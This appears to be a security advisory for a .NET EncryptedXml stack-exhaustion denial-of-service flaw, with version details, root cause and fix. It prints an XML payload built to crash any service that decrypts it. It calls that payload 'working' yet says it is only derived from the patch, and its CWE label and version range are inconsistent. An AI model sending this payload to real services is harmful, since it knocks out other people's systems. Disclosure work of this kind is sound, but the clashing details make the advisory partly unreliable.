high · 7.5CVE-2026-50527Jul 21, 2026

CVE-2026-50527: System.Security.Cryptography.Xml EncryptedXml Stack Overflow DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

Attackers can crash any .NET 8/9/10 service that decrypts XML by sending a crafted EncryptedXml document whose CipherReference transform chain recurses deep enough to overflow the call stack.

PackageSystem.Security.Cryptography.Xml
Ecosystemnuget
Affected>= 10.0.0, <= 10.0.9
Fixed in10.0.10

The problem

The EncryptedXml class in System.Security.Cryptography.Xml resolves CipherReference elements by applying a chain of XML transforms recursively. Before the fix, there was no depth limit on that recursion.

An unauthenticated remote attacker who can reach any endpoint that calls EncryptedXml.DecryptDocument() can supply crafted XML with an arbitrarily deep transform chain, blowing the thread stack (CWE-121) and killing the process. No credentials, no prior session, no user interaction required.

CVSS 7.5 / High.

Proof of concept

A working proof-of-concept for CVE-2026-50527 in System.Security.Cryptography.Xml, with the exact payload below.

http
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
  <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
  <xenc:CipherData>
    <xenc:CipherReference URI="http://example.com/data">
      <xenc:Transforms>
        <!-- Repeat the following Transform node ~10 000 times to exhaust the stack -->
        <ds:Transform xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
          Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
          <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
            <xsl:template match="/">
              <!-- nested transform payload goes here -->
            </xsl:template>
          </xsl:stylesheet>
        </ds:Transform>
        <!-- ... repeat ... -->
      </xenc:Transforms>
    </xenc:CipherReference>
  </xenc:CipherData>
</xenc:EncryptedData>

The root cause is unbounded recursive processing of Transform nodes attached to a CipherReference element. Each transform triggers another frame on the managed call stack with no depth guard, so a document with thousands of nested or chained transforms exhausts stack space before any XML processing logic can return, producing a stack-based buffer overflow (CWE-121) that terminates the process.

The patch adds two hard limits: a depth cap on recursive XML structure descent, and a strict allowlist of permitted transform algorithms for CipherReference resolution. Any transform algorithm not on the allowlist, or any nesting depth past the cap, is now rejected before the recursive walk begins.

AppContext switches are available to restore old behavior for edge cases, but Microsoft recommends keeping the new defaults.

Public PoC not yet available. Payload structure derived from the patch behavior (allowlist + depth limit) and the XML Encryption specification for CipherReference Transforms.

The fix

Update System.Security.Cryptography.Xml to 10.0.10 (.NET 10), 9.0.18 (.NET 9), or 8.0.29 (.NET 8). Run: dotnet add package System.Security.Cryptography.Xml. Recompile and redeploy. Container images and self-contained apps must be rebuilt. Updating the runtime or SDK alone is also sufficient if you are not pinning the NuGet package directly.

Reported by Levi Broderick (Microsoft).

References: [1][2][3][4][5][6]

Related research